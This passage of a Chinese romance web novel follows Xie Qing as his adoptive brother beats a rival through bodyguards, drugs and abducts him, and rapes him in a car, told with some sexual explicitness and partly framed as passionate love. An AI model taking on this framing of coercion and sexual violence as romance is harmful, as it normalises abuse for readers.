谢清:“不是,你就这么让林小姐走了?你就这么把她拒绝了?你说的什么有喜欢的人了,瞎编的吧?哥,我看她挺直率的,挺好一人,样貌性格家世都合适,你不会有什么恋爱恐惧症吧。” “不是瞎编的。” “什么?”谢清愣了几秒,不敢相信又问了一遍,“你说什么?” “吃饭吧。要来点红酒吗?这家的左岸混酿相当不错,搭配帕尔玛火腿口感很好,你试试?” ……他哥这不是会聊天吗? “你不是说我酒量很差,酒品更差吗。”谢清撇嘴。 “跟我在一起喝醉也没事。” 谢呈冰抬手招来服务生,给谢清点了自己的推荐,而后又问:“刚才的玫瑰你很喜欢吗?我也可以送你。” 服务生瞳孔地震。 谢清:“不用了,哥哥送弟弟玫瑰多奇怪啊。” 谢呈冰:“你还把我当哥哥?” 谢清沉默地放下了刀叉。 良久,他自嘲地笑笑:“谢呈冰,你总有本事在我以为一切都会好起来时,给我一盆冷水。” 谢呈冰的眼皮微微跳了一下:“这句话,你说过一回。” “什么时候?” 谢呈冰也慢慢停下了动作,低头望着餐盘,轻轻闭了一下眼睛。 “车祸前。” 谢清眼一眯:“车祸前我们见过?” 谢呈冰低低说了两个字,谢清没有听清。 但那不重要了,谢清问:“说正事吧。年年哥哥人呢,我要见他。” 谢呈冰沉默了很久,最终同意让谢清见白年一眼。 谢清跟着哥哥来到餐厅附近的一家酒店,一进大堂他就觉得装潢有些熟悉,喃喃自语:“我好像来过?” 谢呈冰看了他一眼,这一眼意味深长,谢清进出电梯的一路都在消化。 到了房间,保镖给开的门,谢清看清屋内后遽然一震,白年被用绳子捆着扔在地上,衣服上都是鞋印,头发凌乱的遮住了眼睛,连脸上都有淤青。 “年年哥哥?!”谢清冲了过去,却被陌生保镖拦了一下。 “让开!”谢清扶起白年,“年年哥哥,你怎么样?” 他拨开白年额前的碎发,看到他虚弱地睁开了眼睛,还没来得及说话,保镖就当着谢清的面又狠踹了白年一脚。 “大少爷说了,他每碰您一下,我们就也给他一下。” “现在是我碰他又不是他碰我!”谢清瞪了眼保镖,随即明白瞪他也无用,转而怒视谢呈冰,“你怎么能这样对待家里的客人?!” “他如果只是客人,自然不会挨打。”谢呈冰镇定地说。 白年仰头,投来讥讽的目光:“谢呈冰,你这个疯子。以为这样,就有用吗?” 谢呈冰:“打。” 保镖冲着白年薄弱的胃部来了一脚。白年俯身干呕,但因为一天没有进食,什么都没吐出来,身体原地痉挛起来。 谢清抱住白年:“停!你们都滚出去!” 若是宋家的保镖,至少也会犹豫一下,可这些人像完全没听到。 谢呈冰:“听他的。” 保镖们这才退出房间。 谢清替白年松绑,可绳子是死结,没有剪刀很难弄开,他太过用力,反而将自己的手指弄痛了。 谢呈冰上前把他拽起来:“看着我。” “滚!你也给我滚!”谢清暴躁地喊出来。 “你见到他了,现在,看着我。”谢呈冰说,“我给你一个选择,要么以后不再见他,也不许再见任何那些乱七八糟的前男友,从此,我就还是你的好哥哥。要么……” “我选他!你满意吗?”谢清倔强地扬起下巴,眼神故意轻慢。 谢呈冰眼底酝酿着风暴:“你想好了?” 谢清又高声重复了一遍。谢呈冰倏然用力,谢清以为他要打自己,下意识闭住眼睛,不想嘴唇上贴来了滚烫的温度。 他骤然睁大了眼睛,瞳孔震颤,像有一股电流从脚底窜上头皮,神经被狠狠麻痹了一下。 他这有如万年寒冰一样的哥哥,释放出的情绪竟然如此炽热灼人,好像恨不得把他揉进身体里。 谢清吓得猛力推开谢呈冰,连连倒退,被绳子一绊跌倒在地毯上。白年迈力伸手想来握住他,刚碰到一点,谢清就风声鹤唳的躲开了。 “谢呈冰,你……你疯了?” “是。”谢呈冰一步步走了过来,居高临下地看着他,“我也想慢慢来的,可你为什么非要离开我?” 谢清难以置信地摇头:“你说,不,不把我当兄弟,是,是这个意思?” 他大脑一片空白,连话都说不利索了,混乱间只知道反复喃喃:“骗人的吧?” 谢呈冰为什么不解释? 谢清怀揣着一丝希望,颤抖着手拽住了谢呈冰的裤脚:“哥,这样是不对的,我们都忘掉今天的事,重新好好地相处,还像以前那样,好不好?” “以前……”谢呈冰轻轻笑了一下,“以前也很好啊。” 谢清一下子燃起了巨大的希望:“是啊,是啊,所以你同意了吗?” 谢呈冰慢慢半跪下来,摘开谢清的手,不无温情地抚摸上他的脸颊:“可你为什么要去找男朋友?那些男人,你喜欢他们哪里?” 他乜向一旁的白年,笑容化为冷冰冰的恨意:“这个男人,你喜欢他哪里,嗯?” “谢呈冰,把你的手拿开!”白年咬牙切齿,手腕蓦然一扭,“咔嚓”一声,竟然生生扭断了自己的关节,从绳索中猛地挣脱出来,撞开了谢呈冰。 “欣欣,别管我,你先跑!” 谢清下意识撑起身子,跌跌撞撞地移向门口。 谢呈冰一拳打向白年,白年也不甘示弱,用完好的那只手还击,但他本就受伤在身,很快就不是对手。 谢清跑到门口忍不住回头,颤巍巍喊了声:“哥……” 谢呈冰伸出手:“谢清,过来。” 他边说他自己走来,谢清抓起酒店的水壶扔了过去:“别过来!” 水壶滚到了谢呈冰脚下,他跨过去,坚定地伸着手:“不准再离开我。你以前不是最听我的话了吗?” 谢清慌乱间抓起了酒店案台上的剪刀:“我叫你别过来!不然我就……” 他还没想好是要对着谢呈冰还是对准自己,谢呈冰已经一个箭步上来徒手握住了剪刀,锋利的尖头刺破了他的掌心,血珠淌下来,谢清双腿蓦地一软。 谢呈冰预料到了一般搂住他,轻笑:“怎么还是这个反应?这次,不会让你再走掉了。” 一刹那,谢清想起了最想忘记的记忆。 就是在这家酒店,差不多的布局,没有开灯的晚上,他和谢呈冰…… 谢清慌张的抱住了脑袋,谢呈冰见状问:“想起来了?”他用带血的手抬起谢清的下巴,坚定地吻上来。 谢清痛苦地闭上了眼睛。 离家出走的真正原因,原来到这一刻他才算彻底想起来。那是在书房质问了谢呈冰后,他一直以来视为亲哥哥的人深深看着他,说—— “反正当你哥哥也管不住你,不如趁早不当这个哥哥。” “谢呈冰,你想好了?” “我早就想好了。”谢呈冰一步跨上来,用实际行动证明自己的想法,“我要和你在一起,不是以兄弟的名义,是以爱人。谢清,我爱你。” 谢清被哥哥探入的舌尖吓得惊慌失色,当场就哭出来:“哥你疯了?!你弄错了,你一定是弄错了,你的爱是对弟弟的,对吧?” “我知道你需要时间接受,我会给你一点时间。但不要让我等太久。” “需要时间想清楚的人是你!!” 之后谢清离家出走,谢呈冰一直想方设法带他回家,他干脆找了男朋友向哥哥证明,他们两个绝对不可能。 没想到这一举动彻底激怒了谢呈冰,有一次秦屿开车带他出去,谢呈冰竟然在国道上加速撞了上来,一副要同归于尽的架势。 谢清明白正面沟通是不可能的了,决定躲得远远的,让谢呈冰自己冷静。 时间久一点,冷静下来,应该就想明白了。 起初,这个策略好像很有成效,谢呈冰不再疯狂的纠缠上来。 但现在的谢清算是明白了,原来谢呈冰当时安排了宋岩来到他身边,拆散他和秦屿,想办法引导他主动回谢家。 当时的谢清也的确意志松动了,听说谢呈冰生病了,他差点就想去看看哥哥。 但秦家的麻烦很快又缠上来,秦父不同意小儿子和谢家养子搞在一起,想方设法阻挠,害得谢清又一次开始东躲西藏。 一不小心,又招惹了连忆心,麻烦变本加厉。 那场害他失忆的意外车祸来临前,他已经穷途末路,身无分文。 偶然打听到酒店招工,就鬼鬼祟祟来当服务生。某天晚上被一个老男人看上,往他食物里下了药。 他察觉身体不对以后立即想跑,慌不择路中,闯进了一间开着门缝的客房。 黑灯瞎火,他被客房的主人安抚地揽进怀里,反锁上门,带上了床。 他只辨识出是一个男人的轮廓,对方一言不发,但动作温柔,手掌的温度熟悉又温暖,让他逐渐放松下来。 “帮帮我……”他恳求。 那之后,颠鸾倒凤,一夜荒唐。 男人自始至终只说了两句话,每句不超过两个字。 第一句是:“痛吗?” 他先是点头:“我……我是第一次,你轻点。”而后他被顶的尖叫出来。 第二句话,男人轻轻笑了一下:“这里。” 谢清糊涂了,竟觉得男人的声音那么熟悉,熟悉的就像……男人俯身打断了他的思考,同他接了个深而绵长的吻。 天地都在晃动,把他那些荒唐的思考晃了出去。 次日筋疲力竭,骨头散架地苏醒,谢清才惊恐地发现躺在身边的人是谢呈冰。 昨夜的种种细节浮上脑海,他跌下了床,磕磕绊绊跑到门口,摔了一只水壶,又拿起了剪刀。 就像现在这样,唯一不同的是,那时候的谢呈冰生怕谢清做出不理智的动作,伤了他自己,便没有立刻冲上来。 谢清跑了。 可是现在的谢清跑不了。 他用力推开谢呈冰,下巴上都是对方留下的血痕,衬得他脸煞白:“那天那个老男人不会就是你安排的吧?!” “提那个死人干什么?”谢呈冰说,“我怎么会让别人碰你一根手指。” 谢清处在崩溃边缘:“那么你怎么会恰好在那儿!” “你在外面打工,我当然会担心,不跟着怎么行?”谢呈冰理所当然地说。 “那你……你明知道我们,我接受不了……你为什么还要……” “你说上床吗?”谢呈冰轻轻一笑,“谢清,不是你求我的吗?” “哐——”白年搬起椅子,带着呼啸的风声,砸中了谢呈冰后背,他几乎是用上了杀人的力气,呼吸沉重,眼中闪烁着不容忽视的敌意。 “欣欣,快走。” 谢呈冰:“我再说一次,不准你这么叫他。”他挥舞着拳头砸向白年,两人又在狭小的玄关扭打了起来,柜台上的东西在激烈的冲突中被撞的乱七八糟。 谢清拧开门把手,却被门口的保镖死死堵住。 保镖冲上来制住了白年。谢呈冰不紧不慢地转过身:“谢清,再给你一次机会,我还是他,你选吧。” 第34章 第 34 章 谢清看到白年被保镖按住, 地上都是血,心中恐惧:“住手,你、你先给他叫医生!” “选, 我还是他?” 谢清努力让自己镇静下来。 “哥……谢呈冰,你总要给我一点时间考虑吧?这太突然了, 我,我一直以为你对我没有感情才那样的, 现在突然告诉我说, 你其实是这个意思……我需要消化一下, 给我一点时间吧。” 谢呈冰微微动容:“所以你失忆后又离家出走,并不是因为讨厌我?” “当然不是了, 你把我关起来,我能不多想吗?” 谢呈冰垂下了眼睛, 很快又坚定地看向他:“我只是不想你乱跑。” “我不跑,我不就在这儿吗?你给我一些私人空间,让我好好想想, 行吗?我需要重新思考我们之间的关系。” “这不是你逃跑的借口?” “你要是不信, 我现在就选他行了吗?!怎么着,你要把我们俩一起弄死?!” 谢清低头去找掉在地上的那把剪刀,谢呈冰见状上前按住他:“好,我信, 我给你时间。一天, 足够了吧?” 谢清说:“我要独立的私人空间, 还有, 把年年哥哥送去医院。” 他见谢呈冰脸色阴沉, 快速思考着措辞:“其实我两次说选他都是气你的,我和他没有谈恋爱, 你知道,他也是我哥哥嘛。” 白年苍白着脸转过身看谢清,谢清慌忙冲他使了个眼色,让他别说话。 “亲嘴的哥哥?”谢呈冰显然没那么好糊弄。 谢清没好气:“那你还是上床的哥哥呢。” 谢呈冰垂下眼睛认真思考。 谢清再接再厉言说:“我怕他出什么事,你难逃其咎啊。再说了,你要是不想我和他走太近,我也需要把话和他说清楚的,对吧。” 这句话总算让谢呈冰微微展眉:“嗯,好。” 谢呈冰抬了抬手,那些保镖就一溜烟退下去了。谢清盯着他,示意他也应该离开,谢呈冰停顿了会儿,默默走出房间。 谢清赶紧去扶白年:“年年哥哥,我带你去医院。” 他叫来救护车,陪着白年进医院包扎了伤口。白年肋骨被打断了两根,全身上下遍布淤青,为他包扎的护士认出他今天早上还因为过敏进来过,惊讶地问:“短短半天这是怎么了,报警了吗?” 白年抬头看向谢清,谢清神色有点紧张,他摇头:“只是我自己摔的。” 谢清歉疚地叫了声“年年哥哥”。 护士出去以后,病房就剩下他们两,谢清去门口看了一眼,虽然谢呈冰人不在视线范围,但他知道,肯定有人在暗处跟着。 谢清垂头丧气地回来:“对不起,是我连累了你。” 白年:“你道什么歉?是谢呈冰。你如果不忍心报警,那我叫人帮忙联系谢老爷子,刚才在酒店我录音了。” 谢清一慌:“别,不能告诉我爷爷。爷爷要是知道的会气死的,会开枪崩了谢呈冰的。” 白年眼底戾气聚集,恨不得脱口说“那不是太好了吗”,更恨谢清居然到这个份上了,还这么优柔寡断! 就这么舍不得那个哥哥? “你叫谢老爷子回来,本来就是为了镇谢呈冰的,现在算什么?” 谢清一时没意识到,白年怎么会知道的这么详细。他只是心慌意乱地摇头:“我那时也不知道他对我是这种心思啊,如果爷爷知道了,真的会出人命的。爷爷脾气爆,年轻的时候当兵,退伍了思想都还停留在那个年代,年年哥哥,那个录音,你删掉吧,千万不要让爷爷知道。” 白年脸上阴晴不定,谢清恳求地晃了晃他的胳膊,他才说:“知道了。” 谢清看他答应的很勉强,不放心,继续强调:“爷爷虽然很疼我,可我毕竟是谢家的养子,如果爷爷知道了,不仅要拿谢呈冰是问,说不定还要反过来怪我勾引了哥哥。” 这话算说到了死穴,白年眉头深蹙,片刻后终于拿出手机,把那段录音当着谢清的面删掉,并清空了回收站。 “那你打算怎么办?我看谢呈冰是彻底疯了,他根本不是给你选择,是让你用这一天时间和我断干净。” 谢清翻着手机通讯录,表情也有些凝重,他该找谁,能找谁? 宋岩不知所踪,秦屿受制于人,连忆心和连隐…… 谢清又看了看满身纱布的白年:“年年哥哥,一会儿我把谢呈冰和保镖引开,你叫连家的人趁机接走你吧。他至少不会对我怎么样,而且我爷爷好歹还在。” “我不走。”白年紧紧抓住谢清的手腕,用力到指节泛白,“那个二选一的问题,我也想知道答案。清清,你选谁?” 谢清一惊:“都这时候了,你就别添乱了……” 他抽了两下手腕,没能抽出来,反倒被白年拽着扑到了对方身上。 白年取了一张纸巾给他擦嘴唇,动作有些粗暴,谢清急道:“痛,你干什么呀。” “他亲了你两次,得好好擦干净才行。” 谢清夺过纸巾:“我自己来。”他对着手机镜头把脸上的血迹擦掉,而后看了看嘴唇,谢呈冰刚刚吻的极其恶劣,他嘴巴都肿了,难怪白年看不下去。 “选好了没有?”白年问。 谢清愣了:“你认真的?” “我昨天不是已经表明过心意吗?清清,我想当你的男朋友。”他专注地看着谢清,嘴角含笑,“你亲我的时候,我以为已经有答案了。” “那个是……”想到谢宅楼下的吻,谢清面上一热,“气氛到了嘛。” “那现在呢?气氛到了吗?”白年覆上他的手背,“我可以当你的男朋友吗?” “现在是什么情况你又不是没看到。” “所以,如果没有谢呈冰这个阻碍,你就会选我的对吗?” 阻碍?谢清有些难过地低下了头,他不想形容谢呈冰是阻碍,纵使他对谢呈冰的确是又气又怕,可是,他不相信已经没有余地了,谢呈冰只是一时把路走歪了,纠正回来就好了。 “年年哥哥,我现在没心情想我们的事,总之你先走吧。” 白年没有得到想要的答案,眼底锋芒一闪:“清清真是个坏孩子,难道非要人推一把,才肯往前走一步?” 谢清产生了片刻疑惑。 “那我就推你一把好啦。”白年轻轻笑了起来,拿出手机拨了一通电话。 谢清的疑惑加剧:“你干了什么?” “收网啊。”白年怜爱地摸了摸他的头,“我本来不想这么做的,可你太瞻前顾后了,谢呈冰算什么东西?也值得你这么犹豫?” 谢清逐渐皱起眉头:“你什么意思?” 白年往病床边躺了点,拍了拍身边的空位:“上来陪我躺一会儿吧,想抱抱你。” 这么窄一张单人病床,别说有点挤,现在是诉衷情的时候吗? 谢清权当他在胡言乱语,好看的眉峰聚拢的像小山丘,思索着处境和对策。 突然,手机屏幕跳出了久违的聊天框。 Phantom:【大佬(皿)你坑我不浅啊啊啊啊!!】 Phantom:【警告文件.pdf】 Phantom:【解释一下o(*≧д≦)o!!】 谢清愣住,点开文件的时候眼皮直跳,他茫然浏览了一遍,逐渐从困惑转为震惊而后变成愤怒。 他看向白年:“你做了什么?!” 白年笑道:“谢家还真是一点没培养过你的商业意识呢,以后签合同时一定要带律师看仔细哦,清清。” 谢清脑子嗡的一声,不敢相信白年居然在那个事情上坑他,当时院长也在,他根本没想过会有问题。 警告文件说他申请资料作假,把phantom的数据清空了不说,还要让他赔付巨额违约金。 他根本付不起那个金额!白年是想把谢氏掏空吗? 白年:“放心,我是舍不得让你去坐牢的,那个钱,我会帮你出。” 谢清:“你哪来这么多的钱?……好啊,原来从那个时候开始你就在算计我?!” 是连隐!谢清一瞬想明白了,连隐本来就提出过和他联手去破坏谢氏集团,被他拒绝了。 这个局,一开始就是冲着谢氏来的吧? 申请资料上用谢氏股份做了资产担保,一旦海外那头的人提起跨国诉讼,谢氏就不得不大出血——连隐和白年大概就是这么算计的,但他们没料到,谢清已经不是谢家人了! 谢清想到这里不知该哭该笑,所以他签的那个合同害不到谢氏,却会因涉嫌欺诈害自己坐牢…… 而白年不知道为什么,也没提出要针对谢氏,而是直接用坐牢来威胁他! 大难临头,谢清反倒冷静了下来。 他先是回了phantom:【数据没有备份吗?】 phantom:【有是有,但重点是这个吗∑(O_O;)】 谢清:【那你怕什么,别弹窗了,没空理你,跪安吧。】 phantom:【???!!】 phantom:【我是在担心你啊!!】 谢清扯动了下嘴角,phantom和他什么交情?居然还有心情关心他吗? 白年:“你还能笑得出来,看来打击不严重,那我就放心了。” 他再次拍拍身边:“这下可以上来和我说话了吗?” 谢清用充满凉意地目光扫了他一眼,面无表情爬上床。 自以为失去了哥哥的时候,是白年及时的到来,填补了他心中的一片空缺。 是他忘了,那年离开福利院,在他耳边用森然恶意喊他“小贱人”的白年,并不是幻觉。 连隐也真是独具慧眼,看上的小孩和他儿子一样的会装。 白年温柔地将谢清抱在了怀中,可怜兮兮地问:“清清,我只是想和你在一起罢了,你不会怪我吧?” “想和我在一起?”谢清无机质地重复。 “是啊,等下你就去告诉谢呈冰吧,说你选我。”他高高兴兴在谢清侧脸上亲了一下,“现在起,我就是你男朋友了,虽然不是你第一个,但会是最后一个。” 谢清冷笑:“谢呈冰有句话没说错,我选男友的眼光真差。” 白年:“那是以前的了,我会对你很好的。我们是天生一对,就该在一起。” 谢清望着天花板:“我不明白。你喜欢我?还是要折磨我?” “怎么会折磨你呢,我这么喜欢你,从小就喜欢,是你这个小坏蛋从小就会装傻,对我的喜欢视而不见。” 白年撑起身子,在谢清上方静静打量他,他断过的肋骨经不起这种扭动,可他固执地想看清谢清脸上的每一寸表情。 “清清真好看,以后,你就是有男朋友的人了,不可以再对其他人卖弄风骚,知道吗?” 谢清冷冷看着他:“我那么信任你,你却从重逢起就在算计,还好意思说喜欢我。” 白年不笑了,表情委屈起来。 “别说话了,我不想听。”谢清闭上眼睛。 白年亲亲他的眼皮,温声道:“没关系,以后我们多的是时间。” 谢清忽然又睁开眼睛:“你费这么大心思让我上套,结果只用来威胁我选你,连隐会放过你吗?” 白年表情一僵。 过了半晌,他哼道:“原来清清也不是那么笨嘛。”他揉了揉谢清的脸蛋,“别担心我。” “谁担心你?我现在巴不得你倒大霉。” 白年满不在意地轻笑一声。 连隐的确要他利用谢清搞垮谢氏,他一开始也是那么打算的,可是就在今天他改变主意了。 海外的公司是他控股的,连隐也奈何不了。 许多年前,谢呈冰牵着他的欣欣弟弟走的时候,大言不惭地说:“从今往后你只有我一个哥哥。” 现在,更加大言不惭地叫谢清二选一。 谢清选择的人只能是他。 白年只抱了谢清一会儿,就有护士敲门进来,谢清匆忙从床上下去,面色僵硬。 护士说:“谢先生,病人需要静养,给您准备了单独的陪护病房,这边请。” 白年皱眉:“我怎么不知道我需要静养?” 护士抱歉地说:“我也是接上级通知,这边请吧谢先生。” 谢清固然痛恨谢呈冰的独断行为,但此刻他也不想和白年待在一起,便求之不得的出去了。 谢呈冰说是给他一天的时间考虑,实际上天一亮,就带人过来准备接他回家:“谢清,选好了吗?” 白年从病房里出来,拨开保镖走到谢清身边,当面握住了谢清的手,和他十指相扣:“清清,告诉他你的选择吧。” 谢呈冰的目光如冰冷的毒蛇般盘踞在两人牵着的手上,差点在医院动手,他用最后的耐心说:“谢清,选。” 谢清面无表情,破罐破摔:“我选白年。” 白年扬起得意的笑容,耀武扬威地睨着谢呈冰。 谢呈冰上前一步扳起谢清的下巴:“重新选,再给你一分钟的时间考虑,再选他我就杀了他。” 谢清怒到极致竟然笑出了声。荒唐,这个选择题从一开始就不成立。 白年打开了谢呈冰的手:“别碰我男朋友,谢呈冰,你以为我是任人宰割的?” 谢清在一旁漠然地想,他的确不是,他也是头披着羊皮的狼。 谢呈冰抬手示意保镖动手,白年冲他们身后叫道:“谢爷爷!” 谢呈冰手一顿,谢清也骇然望过去,谢老爷子阴沉着一张脸,赫然就站在人群后头! 谢清不可思议地瞪向白年:“你真想玉石俱焚吗?!会害死我的……” 白年赶忙小声解释:“没有,我没寄录音,也没和他老人家说那件事。只是请他同意我们在一起。” 谢清脸上惊悸不安,还藏有一丝厌恶。 白年则换上一副笑脸迎上去:“谢爷爷,你来得正好,我和清清正有事情想告诉您呢。”他含羞带怯地看了谢清一眼,“我们在一起了。” 谢老爷子眉梢一抬:“哦?你做客那天我就看出来你们两个不对劲,不过有什么话,非要喊我来医院说?” 谢呈冰打断:“爷爷……” “你闭嘴!”谢老爷子瞪他一眼。 显然他也看出来了,自己孙子带着几个彪形大汉的架势,不像送祝福的。 下一秒,白年果然就负屈衔冤地说:“谢先生他,还把弟弟当成不懂事需要管教的小孩,不许他自作主张谈恋爱呢。谢先生,你弟弟已经成年啦,感情的事,可以自己做主的了,谢爷爷,您说是吧?” 谢老爷子精明矍铄的目光扫了眼大孙子,又扫向一声不吭的小孙子。 “小清,你哥为难你了?” 谢清抿了抿嘴,半晌才开口:“哥哥他,的确糊涂了。” 谢老爷子眉毛一竖:“你小子不务正业也不是一天两天了,既然谈恋爱了,就好好把心收了,我看白年是个有礼貌又懂事的好孩子,你可别玩弄人家的感情。” 白年欣喜而感激:“谢爷爷,清清不会的。” 老爷子瞪向大孙子:“还有你,你弟弟谈个恋爱,你闹这么大阵仗给谁看呢?不知道的以为我们谢家都是不讲理的。” 白年摆出大方得体的姿态:“谢爷爷别怪谢先生,他也是关心弟弟罢了,只是方式不恰当。” 谢呈冰冷不丁开口:“我不同意。” 白年皮笑肉不笑地看向他。 谢老爷子:“你不同意什么不同意!你弟弟成年了,轮得到你同意不同意!行了,滚回公司上班去!” 谢呈冰上前一步抓住谢清胳膊,谢清撩起眼皮,神色复杂:“哥,放手吧。” 谢呈冰蓦然转向谢老爷子:“爷爷,我不同意,因为……” “哥!”谢清一把按住他的手,有些惊恐,“哥,冷静一点。” 谢老爷子皱眉:“你到底有什么意见?” 谢清的手愈发用力,带有一丝恳求地微微摇头。 谢呈冰停顿了一会儿,说:“知道了,爷爷。我单独和谢清讲两句话,回来送您回家。” 谢老爷子:“去吧。” 谢老爷子都发话了,白年也不好制止,强装大度地笑笑:“清清,我等你。” 谢呈冰拉着谢清走到楼梯拐角。 “还有什么话,就在这说吧,我不想走远。”谢清没有心情面对谢呈冰,转身看着楼道口的窗户,窗外是拥堵的医院门口,行人都没什么精神。 谢呈冰忽然从后面用一块布捂住了谢清的口鼻,布上似乎涂抹了含有乙醇一类的药物,谢清不敢相信爷爷还在附近,谢呈冰就敢这么做,可惜很快,他的挣扎变得微不足道,视线也逐渐模糊。 麻药的剂量应该很小,至少比上回连忆心找来的无良医生用量少得多,谢清只是短暂失去了行动能力,一直保有微弱的意识。 他彻底恢复过来大概只用了半个小时,但人已经在一辆行驶中的私家轿车上。 谢呈冰就在副驾指路,注意到他醒来以后,命司机停靠在路边然后出去。 谢清活动了一下麻痹的手脚,撑着坐起来拉车门,车门从外面打开了,谢呈冰长腿一迈钻了进来。 后座的座椅被放倒,谢呈冰不声不气地脱起外套。 衣料摩擦声在静默狭小的空间中格外明显,谢清皱眉:“你把我带到哪儿来了?你怎么和爷爷解释的?” 谢呈冰开始上手解谢清的衣领,车厢开了暖气,谢清还是不由打了个寒颤:“你要干什么?” “干.你。”谢呈冰惜字如金,吐露出的两个字令谢清刹那面无血色。 “你、你疯了?!”谢清嗓子走了音,疯狂爬起来要从另一侧下车,可车门已经被上了锁,怎么也打不开。 车窗外是茂密的树林,也不知道这儿究竟是哪儿,医院附近就有高速,半个小时,足够开到任何荒郊野岭,让人找不到的地方去。 他现在该庆幸没人好,还是祈祷赶快有人经过的好? 谢清满口求饶,却还是被谢呈冰扒个精光,于是改为破口大骂,谢呈冰就是一堵密不透风的墙,任他唇枪舌剑,也毫不动容。 那张不怎么产生表情的脸,只在进入的时候五官微微舒展。 谢清被撞的骂声破碎,身体被晃散了架,一缕不怎么听话的头发丝反复摇摆,直到被谢呈冰按了下去,抱着他的后脑揉进怀中。 谢呈冰连姿势都不怎么换,也不知疲倦。 这一次,谢清是在意识清醒的状况下,他无法骗自己哥哥是一时糊涂,谢呈冰灼热的温度时刻提醒着他,哥哥对他的欲望是真的。 谢清不愿这么失态,咬着胳膊闷声哭了出来。 谢呈冰摸着他肚子里的形状问:“欣欣会怀孕吗?给我生个小宝宝,就没办法再离开我了吧?” 谢清堵住了耳朵,却还是清楚地听见粘腻的水声。谢呈冰把他翻过来才发现他哭了,温柔舔去他的眼泪,动作却更加凶狠。 无法遮掩的哭声晃碎在谢呈冰的唇齿间。 谢呈冰最后看谢清实在受不住才肯结束,谢清嗓子都哑了,闭着哭肿的眼睛装死,不愿意面对现实。 为什么会这样? 他们会不会天打雷劈啊。 谢呈冰紧紧抱着他,用掌心描摹他瘦削的肩胛骨,空气里弥漫着放纵后的气息,谢清想让谢呈冰开窗,却不想和他说话,于是只是装死。 “我们一起离开本市吧,去到没人打扰的地方。”谢呈冰喃喃。 谢清本来都要昏过去了,闻言一惊,清醒了大半:“你不管爷爷了,不管谢氏了?” 换成谢呈冰沉默。 谢清担心他真的要不管不顾带着自己,一踩油门到天涯海角,赶紧放软了声音:“我不想走,我才在外面奔波了那么久,好不容易回家了,你又要让我无家可归吗?” 谢呈冰因为他难得软化的态度,也放软了眼神,俯身含住他的嘴唇轻轻啮咬:“我舍不得。” “这、这就是了……而且爷爷年纪大了,我们不能给他老人家那么大的刺激,爸爸才走不到一年,他泉下有知,也会恨死我们的。” 谢清都不敢相信,明明无法接受的是自己,想破罐破摔的是自己,怎么现在说尽好话安抚别人的还是他自己。 真是应了句俗语,光脚的不怕穿鞋的。 谢呈冰连这么大逆不道的事都做了,确实也没什么好顾忌的了,但他不行,他还想抢救一下。 谢清忍辱负重:“哥……回家吧,好吗?我累了,又累又饿,后面也好痛,我想回家。” 不管怎么样,先哄谢呈冰平安把他送回家才行。 谢呈冰也许意识到谢清在曲意逢迎,也许没有,对谢清的撒娇他一向受用。 “知道了,回家。” 谢呈冰从他身上起来,相连之处带来羞耻的感觉,谢清脸色青一阵红一阵。 他艰难探过去的手被谢呈冰抓住:“不许弄出来,含紧点,回家再帮你清理。” 谢清想大发雷霆,忍了。 回家,平安回家再说! 谢呈冰转移到了副驾,让谢清得以舒服地躺在后座。 “我顾虑到爷爷,才没有把心意说出来。”谢呈冰说,“但是你记住,我不可能容忍你和白年在一起,你回去就和他分手。” 谢清忍不住了:“你这是顾虑爷爷吗?!我们今天才在爷爷面前宣布在一起,回去就分手,这不可能。” 虽然他也没打算和白年在一起,不过分手?分手真是便宜他了。 谢呈冰闭了闭眼睛,似乎做出了极大的让步:“好,限你们一周,我允许你每天见他一面,每次不超过半小时,一周后和他分手,就和爷爷说性格不合。” “你允许?你凭……”谢清说到一半,意识到还是先回家要紧,生生把话憋回去了。 可憋了一会儿,他还是忍不住低声骂道:“谢呈冰,你真是自甘下贱。” 谢呈冰低着头沉默了会儿,拉开车门:“我去抽根烟。” 第35章 第 35 章 等谢呈冰命令司机驱车回谢宅, 谢清才活动自己的四肢坐了起来,衣服都弄脏了,他只能披着谢呈冰的外套, 后面含着东西很不好受,一看电话, 白年打来了一百多通未接,更加反胃。 他拇指一点, 把白年送进了黑名单。 威胁他?真当他是吃素的吗。 手机屏幕倒映出谢清微愠的脸庞, 生气使他本就漂亮的五官显得凌厉了几分, 有种不容侵犯的美——如果忽视外套底下赤.裸凌乱的身体的话。 他想着失忆以来的种种倒霉事儿,被连忆心算计是因为“初见”没有防备, 被谢呈冰肆意妄为,也是对方仗着是他哥, 换了其他人早被他一刀捅死。 唯独白年的算计,让他全无预料。 不报复回去,他白在福利院当那么多年“坏孩子”。 谢清磨了磨牙齿, 发现下嘴唇又破了皮, 谢呈冰也不知道跟哪儿学的,除了吸就是咬。 跟连忆心那次故意咬破他不一样,谢呈冰……算了,他一点也不想回忆细节。 被“亲哥”爆炒让他真的很想一头撞死在车窗。 谢清把头抵在窗户上, 无意义地抠弄车门。 旁边的车忽然短促的按响两声喇叭, 并排从右侧开过来。 车主把驾驶位的窗户摇下来, 懒洋洋打了个招呼。 谢呈冰也摇下了他那边的车窗, 面无表情点头。 “谢少, 兴致不错啊,也是来这片兜风的?” 谢清没听到谢呈冰的回答, 想来他只是摆着死人脸应付地点头。不过那个车主的声音有点耳熟,谢清不禁抬头看了一眼。 隔着车玻璃,一眼他就惊讶地睁大了眼睛。 男人不就是前些天在秦屿的订婚宴上邀请他跳舞的那个叫什么……Ethan? 等红绿灯的功夫,Ethan和谢呈冰聊起了业务,谢清听了两耳朵,倍感无聊。 直到谢呈冰说:“听说秦少手上的新产品和我们是同一方向?” Ethan漫不经心一笑:“是啊,不久后又能和谢少在市场上较量了,还真期待啊。” 他的语气表面恭维客气,其实神情不乏傲慢。 秦少?本市有几个秦少是能和他哥这么聊天的? 谢清偏头,想透过谢呈冰大开的窗口看清一些。 这一举动也让Ethan注意到了谢呈冰的后座还有人。 他不经意瞥了一眼,看到一个男孩倏然把头埋得很低,躲避着他的目光,紧紧裹着外套,下面好像什么都没穿。 他无意窥视别人私密,因此没有再看,不过很是兴味地笑了:“没想到谢少也有这么风流的时候啊?” 谢呈冰没吭声。 “对了,你弟弟的联系方式,能不能给我分享一下。” 男人问的突然,谢清都一愣。 谢呈冰脸色马上不好看了,Ethan见状忙笑着摆手:“别误会啊,我可不是我那没出息的弟弟,只是听说谢小少爷和林家的长女关系不错,想和他打听点东西。” 谢清这下可以肯定了,“秦少”就是秦屿的那个哥哥,秦霄。他居然就是Ethan,那天宴会和他商量破坏秦屿订婚宴的男人! 可不能让他知道自己就是他要找的“林小姐”…… 谢清把头埋得更低了。 